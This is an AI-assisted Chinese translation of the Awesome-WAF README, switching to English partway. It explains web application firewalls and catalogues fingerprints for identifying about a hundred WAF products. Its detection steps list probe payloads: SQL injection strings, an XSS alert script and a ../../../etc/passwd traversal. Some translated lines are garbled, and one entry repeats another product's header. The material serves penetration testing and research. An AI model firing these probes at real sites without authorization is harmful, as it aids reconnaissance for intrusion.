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WAF

Source: https://github.com/0xInfection/Awesome-WAF at 5462294bfe54
License: Apache-2.0
Read the English original

This edition is an AI-assisted translation.

关于网络应用防火墙(WAFs)的所有内容都从安全角度出发. QQ

前言: 这原本是我自己收藏的WAFs. 我开放它,希望它能对外面的笔试者和研究人员有用。 俗话说”社区只是互相学习”.

Main Logo

简明定义: 防火墙是一个在网络应用程序和客户端之间定位的安全政策执行点. 这种功能可以在软件或硬件中实施,在电器设备中运行,或者在运行一个共同操作系统的典型服务器中运行. 它可能是一个独立的设备,或者被整合到其他网络组件中. * (资料来源: PCI DSS IS 6.6)*

网络应用防火墙位于用户和网络应用之间,其任务是防止任何恶意活动到达网络应用. 一个WAF要么过滤出请求的恶意部分,要么只是简单地屏蔽它.

随便吧 contribute.

  • 使用一套规则来区分正常请求和恶意请求.
  • 有时他们使用学习模式,通过学习用户行为来自动添加规则.
  • 负模型(基于黑名单) - 黑名单模式使用预先设定的签名来阻止明显恶意的请求。 用负面模式操作的WAF的签名是专门设计的,以防止利用某些网络应用脆弱性的攻击。 黑名单模型的网络应用防火墙是暴露在公共互联网上的网络应用的一大选择,并且非常有效,可以对抗重大的脆弱性. 例如,禁止所有行为的规则 <script>*</script> 输入可以防止基本的跨站点脚本攻击.
  • 阳性模型( 基于白名单) - 白名单模式只允许根据具体配置的标准进行网络流量。 例如,它可以被配置到只允许HTTP从某些IP地址获取请求. 这种模式可以非常有效地阻止潜在的大规模攻击,但也会阻挡很多合法的交通. 白名单模型防火墙对于一个内部网络上的网络应用来说可能是最好的,而这个网络的设计仅供员工等有限的人群使用.
  • 混合/混合模型(包容性模型) - 一个混合安全模式 混合白名单和黑名单。 混合防火墙可成为内部网络应用和公共互联网网络应用的最佳选择。 一个好的情景可能是网络应用程序正面临公共互联网(使用黑名单),而管理员面板只需要接触到一个子集用户(使用白名单).
  • 总是注意暴露WAF的常见端口,即: 80, 443, 8000, 8080 和 8888 端口。 然而,必须指出,在运行HTTP服务的任何港口,都很容易部署WAF。 最好先列举HTTP服务端口,然后再查找WAF.
  • 一些WAF在请求中设置了自己的饼干(如Citrix Netscale,Yunsuo WAF).
  • 一些人与单独的标题(如Anquanbao WAF,Amazon AWS WAF)联系在一起.
  • 一些人经常改变标题和混杂字符来混淆攻击者(如Netscale,Big-IP).
  • 有些人暴露自己在 Server 头(如接近,WTS WAF).
  • 一些WAF在响应内容中暴露自己(如DotDefender,Armor,Sitelock).
  • 其他WAF在恶意请求(如WebKnight,360 WAF)时以异常响应代码回复.

为了识别WAFs,我们需要(dummy)挑起它.

  1. 从浏览器中生成一个正常的GET请求,截取并记录响应信头(具体为cookie).
  2. 从命令行(如 cURL) 发出请求,并测试响应内容和标题(不包括用户代理) 。
  3. 获取请求到随机打开的端口并抓取可能暴露WAF身份的横幅.
  4. 在登录页上,注入普通(容易检测)有效载荷,例如: " or 1 = 1 --.
  5. 喷气式噪音有效载荷 <script>alert()</script> 输入搜索栏、联系表和其他输入字段。
  6. 附加一个假人 ../../../etc/passwd 到 URL 端的随机参数。
  7. 添加一些紧凑的关键字, 如 ' OR SLEEP(5) OR ' 在 URL 到任意任意参数的末尾。
  8. 使用过时的协议获取请求 HTTP/0.9 (HTTP/0.9 不支持 POST 类型查询。
  9. 许多次,WAF改变 Server 不同类型相互作用的标题。
  10. Drop Action Technique - 向服务器发送一个原始的FIN/RST包并识别响应.

    提示 : 这种方法可以很容易地通过下列工具实现: HPing3 或 Scapy.

  11. 侧面频道攻击 - 检查请求的时间安排和回应内容.

    提示 : 详情见于 blogpost here.

要指纹吗? 让我们看看如何。

说明:本节包含人工WAF检测技术. 你可能要切换到 下一节.

WAF 指纹
360
  • 可探测性: 轻点
  • 检测方法:
    • 回归状态代码 493 根据不同寻常的要求
    • 封面页可能包含下列内容: wzws-waf-cgi/ 目录。
    • 屏蔽的响应页面来源可能包含:
      • 参考文献 wangshan.360.cn URL (中文(简体) ).
      • Sorry! Your access has been intercepted because your links may threaten website security. 文本片断。
    • 答复信头可能包含 X-Powered-By-360WZB 头曰.
    • 屏蔽的响应信头包含唯一信头 WZWS-Ray.
    • Server 标题可能包含值 qianxin-waf.
aeSecure
  • 可探测性: 中调
  • 检测方法:
    • 被屏蔽的响应内容包含 aesecure_denied.png 图像( 要查看来源) 。
    • 回复信头包含 aeSecure-code 数值。
Airlock
  • 可探测性: 中度/困难
  • 检测方法:
    • Set-Cookie 信头可能包含:
      • AL-SESS cookie 字段名称( 大小写不敏感) 。
      • AL-LB 值(大小写不敏感)。
    • 屏蔽的反应页面包含:
      • Server detected a syntax error in your request 语句。
      • Check your request and all parameters 文本片断。
AlertLogic
  • 可探测性: 困难
  • 检测方法:
    • 屏蔽的反应页面包含:
      • We are sorry, but the page you are looking for cannot be found 文本片断。
      • The page has either been removed, renamed or temporarily unavailable 语句。
      • 404 Not Found 在红色字母。
Aliyundun
  • 可探测性: 轻点
  • 检测方法:
    • 屏蔽的反应页面包含:
      • Sorry, your request has been blocked as it may cause potential threats to the server's security 文本片断。
      • 参考文献 errors.aliyun.com 网站 URL.
    • 已屏蔽的响应代码返回为 405.
Anquanbao
  • 可探测性: 轻点
  • 检测方法:
    • 返回被屏蔽的 HTTP 响应代码 405 应恶意要求。
    • 封装的反应内容可能包含 /aqb_cc/error/ 或 hidden_intercept_time.
    • 回复信头包含 X-Powered-by-Anquanbao 头字段.
Anyu
  • 可探测性: 轻点
  • 检测方法:
    • 被屏蔽的响应内容包含 Sorry! your access has been intercepted by AnYu
    • 屏蔽的响应页面包含 AnYu- the green channel 语句。
    • 回复信头可能包含异常信头 WZWS-RAY.
Approach
  • 可探测性: 轻点
  • 检测方法:
    • 屏蔽的反应页面内容可能包含:
      • Approach Web Application Firewall Framework 标题。
      • Your IP address has been logged and this information could be used by authorities to track you. 警告 警告我们
      • Sorry for the inconvenience! 关键词
      • Approach infrastructure team 文本片断。
    • Server 页眉的字段值设定为 Approach.
Armor Defense
  • 可探测性: 轻点
  • 检测方法:
    • 封锁的响应内容包括:
      • This request has been blocked by website protection from Armor 语句。
      • If you manage this domain please create an Armor support ticket 片断。
ArvanCloud
  • 可探测性: 轻点
  • 检测方法:
    • Server 页眉包含 ArvanCloud 关键词
ASPA
  • 可探测性: 轻点
  • 检测方法:
    • Server 页眉包含 ASPA-WAF 关键词
    • 答复中包含唯一的标题 ASPA-Cache-Status 有内容 HIT 或 MISS.
ASP.NET Generic
  • 可探测性: 中调
  • 检测方法:
    • 答复信头可能包含 X-ASPNET-Version 头值 。
    • 屏蔽的反应页面内容可能包含:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Error Code 0x00000000< keyword.
    • X-Powered-By header has field value set to ASP.NET.
Astra
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Sorry, this is not allowed. in h1.
      • our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet.
      • Reference to www.getastra.com/assets/images/ URL.
    • Response cookies has field value cz_astra_csrf_cookie in response headers.
AWS ELB
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • AWSALB cookie field value.
      • X-AMZ-ID header.
      • X-AMZ-REQUEST-ID header.
    • Response page may contain:
      • Access Denied in their keyword.
      • Request token ID with length from 20 to 25 between RequestId tag.
    • Server header field contains awselb/2.0 value.
Baidu Yunjiasu
  • Detectability: Moderate
  • Detection Methodology:
    • Server header may contain Yunjiasu-nginx value.
    • Server header may contain Yunjiasu value.
Barikode
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content contains:
      • BARIKODE keyword.
      • Forbidden Access text snippet in h1.
Barracuda
  • Detectability: Moderate
  • Detection Methodology:
    • Response cookies may contain barra_counter_session value.
    • Response headers may contain barracuda_ keyword.
  • Response page contains:
    • You have been blocked heading.
    • You are unable to access this website text.
Bekchy
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contains Bekchy - Access Denied.
    • Blocked response page contains reference to https://bekchy.com/report.
BinarySec
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain:
      • X-BinarySec-Via field.
      • X-BinarySec-NoCache field.
      • Server header contains BinarySec keyword.
BitNinja
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page may contain:
      • Security check by BitNinja text snippet.
      • your IP will be removed from BitNinja.
      • Visitor anti-robot validation text snippet.
      • (You will be challenged by a reCAPTCHA page) text.
BIG-IP ASM
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain BigIP or F5 keyword value.
    • Response header fields may contain X-WA-Info header.
    • Response headers might have jumbled X-Cnection field value.
BlockDos
  • Detectability: Moderate
  • Detection Methodology:
    • Server header contains value BlockDos.net.
Bluedon IST
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains BDWAF field value.
    • Blocked response page contains to Bluedon Web Application Firewall text snippet..
BulletProof Security Pro
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • div with id as bpsMessage text snippet.
      • If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet.
CDN NS Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains CdnNsWAF Application Gateway text snippet.
Cerber (WordPress)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • We're sorry, you are not allowed to proceed text snippet.
      • Your request looks suspicious or similar to automated requests from spam posting software warning.
Chaitin Safeline
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains event_id keyword within HTML comments.
ChinaCache
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Powered-by-ChinaCache field.
Cisco ACE XML Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Server header has value ACE XML Gateway set.
Cloudbric
  • Detectability: Moderate
  • Detection Methodology:
    • Response content contains:
      • Malicious Code Detected heading.
      • Your request was blocked by Cloudbric text snippet.
      • Reference to https://cloudbric.zendesk.com URL.
      • Cloudbric Help Center text.
      • Page title starting with Cloudbric | ERROR!.
Cloudflare
  • Detectability: Easy
  • Detection Methodology:
    • Response headers might have cf-ray field value.
    • Server header field has value cloudflare.
    • Set-Cookie response headers have __cfuid= cookie field.
    • Page content might have Attention Required! or Cloudflare Ray ID:.
    • Page content may contain DDoS protection by Cloudflareas text.
    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
CloudfloorDNS
  • Detectability: Easy
  • Detection Methodology:
    • Server header field has value CloudfloorDNS WAF.
    • Block-page title might have CloudfloorDNS - Web Application Firewall Error.
    • Page content may contain www.cloudfloordns.com/contact URL as a contact link.
Cloudfront
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.
Comodo cWatch
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains Protected by COMODO WAF value.
CrawlProtect
  • Detectability: Easy
  • Detection Methodology:
    • Response cookies might contain crawlprotect cookie name.
    • Block Page title has CrawlProtect keyword in it.
    • Blocked response content contains value
      This site is protected by CrawlProtect !!! upon malicious request.
Deny-All
  • Detectability: Difficult
  • Detection Methodology:
    • Response content contains value Condition Intercepted.
    • Set-Cookie header contains cookie field sessioncookie.
Distil Web Protection
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-Distil-CS in all requests.
    • Blocked response page contains:
      • Pardon Our Interruption... heading.
      • You have disabled javascript in your browser. text snippet.
      • Something about your browser made us think that you are a bot. text.
DoSArrest Internet Security
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-DIS-Request-ID.
    • Server header contains DOSarrest keyword.
DotDefender
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      dotDefender Blocked Your Request.
    • Blocked response headers contain X-dotDefender-denied field value.
DynamicWeb Injection Check
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
e3Learning Security
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains e3Learning_WAF keyword.
EdgeCast (Verizon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Blocked response code returns 400 Bad Request on malicious requests.
Eisoo Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • /eisoo-firewall-block.css reference.
      • www.eisoo.com URL.
      • © (year) Eisoo Inc. keyword.
    • Server header has field value set to EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page returns Invalid URI generally.
    • Blocked response content contains value Invalid GET Request upon malicious GET queries.
    • Blocked POST type queries contain Invalid Data in response content.
F5 ASM
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains warning
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain FORTIWAFSID= on malicious requests.
    • Blocked response page contains:
      • Reference to .fgd_icon image icon.
      • Server Unavailable! as heading.
      • Server unavailable. Please visit later. as text.
GoDaddy
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains value
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Grey Wizard as title.
      • Contact the website owner or Grey Wizard text snippet.
      • We've detected attempted attack or non standard traffic from your IP address text snippet.
    • Server header contain greywizard keyword.
Huawei Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Reference to account.hwclouds.com/static/error/images/404img.jpg error image.
      • Reference to www.hwclouds.com URL.
      • Reference to hws_security@{site.tld} e-mail for reporting.
HyperGuard
  • Detectability: Difficult
  • Detection Methodology:
    • Set-Cookie header has cookie field ODSESSION= in response headers.
IBM DataPower
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Imperva Incapsula
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Powered By Incapsula text snippet.
      • Incapsula incident ID keyword.
      • _Incapsula_Resource keyword.
      • subject=WAF Block Page keyword.
    • Normal GET request headers contain visid_incap value.
    • Response headers may contain X-Iinfo header field name.
    • Set-Cookie header has cookie field incap_ses and visid_incap.
Imunify360
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain imunify360-webshield keyword.
    • Response page contains:
      • Powered by Imunify360 text snippet.
      • imunify360 preloader if response type is JSON.
    • Blocked response page contains protected by Imunify360 text.
IndusGuard
  • Detectability: Moderate
  • Detection Methodology:
    • Server header contains value IF_WAF.
    • Blocked response content contains warning
      further investigation and remediation with a screenshot of this page.
    • Response headers contain a unique header X-Version.
Instart DX
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-Instart-Request-ID unique header.
    • Response headers contain X-Instart-WL unique header fingerprint.
    • Response headers contain X-Instart-Cache unique header fingerprint.
    • Blocked response page contains The requested URL was rejected. Please consult with your administrator. text.
ISA Server
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
Janusec Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has image displaying JANUSEC name and logo.
    • Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
    • Set-Cookie header has cookie field __jsluid= or jsl_trackingin response headers.
    • Server header has jiasule-WAF keywords.
    • Blocked response content has notice-jiasule keyword.
KeyCDN
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains KeyCDN keyword.
KnownSec
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains AkamaiGHost keyword.
LiteSpeed
  • Detectability: Easy
  • Detection Methodology:
    • Server header has value set to LiteSpeed.
    • Response page contains:
      • Proudly powered by LiteSpeed Web Server text.
      • Reference to http://www.litespeedtech.com/error-page
      • Access to resource on this server is denied.
Malcare
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page may contains:
      • Blocked because of Malicious Activities text snippet.
      • Firewall powered by MalCare text snippet.
MissionControl Application Shield
  • Detectability: Easy
  • Detection Methodology:
    • Server header field contains Mission Control Application Shield value.
ModSecurity
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • This error was generated by Mod_Security text snippet.
      • One or more things in your request were suspicious text snippet.
      • rules of the mod_security module text snippet.
      • mod_security rules triggered text snippet.
      • Reference to /modsecurity-errorpage/ directory.
    • Server header may contain Mod_Security or NYOB keywords.
    • Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action.
ModSecurity CRS
  • Detectability: Difficult
  • Detection Methodology:
    • Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level.
NAXSI
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains This Request Has Been Blocked By NAXSI.
    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
    • Server header contains naxsi/waf keyword value.
    • Blocked response page may contain NAXSI blocked information error code.
Nemesida
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains Suspicious activity detected. Access to the site is blocked..
    • Contains reference to email nwaf@{site.tld}
Netcontinuum
  • Detectability: Moderate
  • Detection Methodology:
    • Session cookies contain NCI__SessionId= cookie field name.
NetScaler AppFirewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Connection: header field name jumbled to nnCoection:
      • ns_af= cookie field name.
      • citrix_ns_id field name.
      • NSC_ keyword.
      • NS-CACHE field value.
NevisProxy
  • Detectability: Moderate
  • Detection Methodology:
    • Response header cookies contain Navajo keyword.
NewDefend
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Reference to http://www.newdefend.com/feedback/misinformation/ URL.
      • Reference to /nd_block/ directory.
    • Server header contains NewDefend keyword.
Nexusguard
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL.
NinjaFirewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page title contains NinjaFirewall: 403 Forbidden.
    • Response page contains:
      • For security reasons, it was blocked and logged text snippet.
      • NinjaFirewall keyword in title.
    • Returns a 403 Forbidden response upon malicious requests.
NSFocus
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain NSFocus keyword.
NullDDoS
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains the NullDDoS System keyword.
onMessage Shield
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain header X-Engine field with value onMessage Shield.
    • Blocked response page contains:
      • Blackbaud K-12 conducts routine maintenance keyword.
      • This site is protected by an enhanced security system.
      • Reference to https://status.blackbaud.com URL.
      • Reference to https://maintenance.blackbaud.com URL.
OpenResty Lua WAF
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains openresty/{version} keyword.
    • Blocked response page contains openresty/{version} text.
    • Blocked response code returned is 406 Not Acceptable.
Palo Alto
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains Virus/Spyware Download Blocked.
    • Response page might contain Palo Alto Next Generation Security Platform text snippet.
PentaWAF
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains PentaWAF/{version} keyword.
    • Blocked response page contains text PentaWAF/{version}.
PerimeterX
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to
      https://www.perimeterx.com/whywasiblocked URL.
pkSecurityModule IDS
  • Detectability: Moderate
  • Detection Methodology:
    • Response content may contain
      • pkSecurityModule: Security.Alert.
      • A safety critical request was discovered and blocked text snippet.
Positive Technologies Application Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains Forbidden in h1 followed by:
    • Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Via header with content powercdn.com.
      • X-Cache header with content powercdn.com.
      • X-CDN header with content PowerCDN.
Profense
  • Detectability: Easy
  • Detection Methodology:
    • Set-Cookie headers contain PLBSID= cookie field name.
    • Server header contain Profense keyword.
Proventia (IBM)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page might contain to request does not match Proventia rules text snippet.
Puhui
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain PuhuiWAF keyword.
Qiniu CDN
  • Detectability: Easy
  • Detection Methodology:
    • Response content may contain
      • Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1.
Radware Appwall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page contains the following text snippet:
      Unauthorized Activity Has Been Detected. and Case Number
    • Blocked response page has reference to radwarealerting@{site.tld} email.
    • Blocked response page has title set to Unauthorized Request Blocked.
    • Response headers may contain X-SL-CompState header field name.
Reblaze
  • Detectability: Moderate
  • Detection Methodology:
    • Cookies in response headers contain rbzid= header field name.
    • Server field value might contain Reblaze Secure Web Gateway text snippet.
    • Response page contains:
      • Access Denied (403) in bold.
      • Current session has been terminated text.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Detectability: Easy
  • Detection Methodology:
    • A firewall found specifically on ASP.NET websites and none others.
    • Response page contains either of the following text snippet:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Blocked response code returned is always 500 Internal Error.
RSFirewall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • COM_RSFIREWALL_403_FORBIDDEN keyword.
      • COM_RSFIREWALL_EVENT keyword.
Sabre
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 500 Internal Error upon malicious requests.
    • Response content has:
      • Contact email dxsupport@sabre.com.
      • Your request has been blocked bold warning.
      • clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.
Safe3
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain:
      • X-Powered-By header has field value Safe3WAF.
      • Server header contains field value set to Safe3 Web Firewall.
    • Response page contains Safe3waf keyword.
SafeDog
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Server header in response may contain:
      • WAF/2.0 keyword.
      • safedog field value.
SecKing
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Server header in response may contain:
      • SECKINGWAF keyword.
      • SECKING/{version} field value.
SecuPress
  • Detectability: Easy
  • Detection Methodology:
    • Response content may contain:
      • SecuPress as text.
      • Block ID: Bad URL Contents as text.
    • Response code returned is 503 Service Unavailable.
Secure Entry
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains value set to Secure Entry Server.
SecureIIS
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains either of the following text snippet:
      • Image displaying beyondtrust logo.
      • Download SecureIIS Personal Edition
      • Reference to http://www.eeye.com/SecureIIS/ URL.
      • SecureIIS Error text snippet.
SecureSphere
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains the following text snippet:
      • Error in h2 text.
      • Title contains only text as Error.
      • Contact support for additional information. text.
SEnginx
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
ServerDefender VP
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response contains X-Pint header field with p80 keyword.
Shadow Daemon
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains request forbidden by administrative rules. keyword.
ShieldSecurity
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • You were blocked by the Shield. text.
      • Something in the URL, Form or Cookie data wasn't appropriate text snippet.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      The page you are trying to access is restricted due to a security rule text snippet.
SiteGuard (JP Secure)
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • Powered by SiteGuard text snippet.
      • The server refuse to browse the page. text snippet.
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page source contains the following:
      • Reference to www.sitelock.com URL.
      • Sitelock is leader in Business Website Security Services. text.
      • sitelock-site-verification keyword.
      • sitelock_shield_logo image.
SonicWall
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain SonicWALL keyword value.
    • Blocked response page contains either of the following text snippet:
      • Image displaying Dell logo.
      • This request is blocked by the SonicWALL.
      • Web Site Blocked text snippet.
      • nsa_banner as keyword. :p
Sophos UTM
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace
  • Detectability: Difficult
  • Detection Methodology:
    • Response code returned is 404 Not Found upon malicious requests.
    • Blocked response page contains either of the following text snippet:
      • BRICK-50 keyword.
      • 404 Not Found text snippet.
SquidProxy IDS
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains field value squid/{version}.
    • Blocked response page contains
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Detectability: Easy
  • Detection Methodology:
    • Contains image displaying StackPath logo.
    • Blocked response page contains
      You performed an action that triggered the service and blocked your request.
Stingray
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response code returns 403 Forbidden or 500 Internal Error.
    • Response headers contain the X-Mapping header field name.
Sucuri CloudProxy
  • Detectability: Easy
  • Detection Methodology:
    • Response headers may contain Sucuri or Cloudproxy keywords.
    • Blocked response page contains the following text snippet:
      • Access Denied - Sucuri Website Firewall text.
      • Reference to https://sucuri.net/privacy-policy URL.
      • Sometimes the email cloudproxy@sucuri.net.
      • Contains copyright notice ;copy {year} Sucuri Inc.
    • Response headers contains X-Sucuri-ID header along with normal requests.
Synology Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has Copyright (c) 2019 Synology Inc. All rights reserved.as text.
Tencent Cloud
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response code returns 405 Method Not Allowed error.
    • Blocked response page contains reference to waf.tencent-cloud.com URL.
Teros
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contain cookie field st8id.
TrafficShield
  • Detectability: Moderate
  • Detection Methodology:
    • Server might contain F5-TrafficShield keyword.
    • ASINFO= value might be detected in response cookies.
TransIP
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unique header X-TransIP-Backend.
    • Response headers contain another header X-TransIP-Balancer.
UCloud UEWaf
  • Detectability: Easy
  • Detection Methodology:
    • Response content might contain:
      • Reference to /uewaf_deny_pages/default/img/ inurl directory.
      • ucloud.cn URL.
    • Response headers returned has Server header set to uewaf/{version}.
URLMaster SecurityCheck
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • UrlMaster keyword.
      • UrlRewriteModule keyword.
      • SecurityCheck keyword.
    • Blocked response code returned is 400 Bad Request text snippet.
URLScan
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • Rejected-by-URLScan text snippet.
      • Server Erro in Application as heading.
      • Module: IIS Web Core in table.
USP Secure Entry
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Secure Entry Server field value.
Varnish (OWASP)
  • Detectability: Easy
  • Detection Methodology:
    • Malicious request returns 404 Not Found Error.
    • Response page contains:
      • Request rejected by xVarnish-WAF text snippet.
Varnish CacheWall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Error 403 Naughty, not Nice! as heading.
      • Varnish cache Server as text.
Viettel
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Block page has title set to Access denied · Viettel WAF.
      • Reference to https://cloudrity.com.vn/ URL.
      • Response page contains keywords Viettel WAF system.
      • Contact information reference to https://cloudrity.com.vn/customer/#/contact URL.
VirusDie
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • http://cdn.virusdie.ru/splash/firewallstop.png picture.
      • copy; Virusdie.ru

        copyright notice.
      • Response page title contains Virusdie keyword.
      • Page metadata contains name="FW_BLOCK" keyword
WallArm
  • Detectability: Moderate
  • Detection Methodology:
    • Server headers contain nginx-wallarm value.
WatchGuard IPS
  • Detectability: Easy
  • Detection Methodology:
    • Server headers may contain WatchGuard field value.
    • Blocked response page contains:
      • Request denied by WatchGuard Firewall text.
      • WatchGuard Technologies Inc. as footer.
WebARX Security
  • Detectability: Easy
  • Detection Methodology:
    • Restricted to specifically WordPress sites only.
    • Blocked response page contains:
      • This request has been blocked by WebARX Web Application Firewall text.
      • Reference to /wp-content/plugins/webarx/ directory where it is installed.
WebKnight
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • WebKnight Application Firewall Alert text warning.
      • AQTRONIX WebKnight text snippet.
    • Blocked response code returned is 999 No Hacking. :p
    • Blocked response code returned is also 404 Hack Not Found. :p
WebLand
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains Apache Protected By WebLand WAF keyword.
WebRay
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains WebRay-WAF keyword.
    • Response headers may have DrivedBy field with value RaySrv RayEng/{version}.
WebSEAL
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain WebSEAL keyword.
    • Blocked response page contains:
      • This is a WebSEAL error message template file text.
      • WebSEAL server received an invalid HTTP request text snippet.
WebTotem
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains The current request was blocked by WebTotem.
West263CDN
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-Cache header field with WT263CDN value.
Wordfence
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • Generated by Wordfence text snippet.
      • A potentially unsafe operation has been detected in your request to this site text warning.
      • Your access to this site has been limited text warning.
      • This response was generated by Wordfence text snippet.
WTS-WAF
  • Detectability: Easy
  • Detection Methodology:
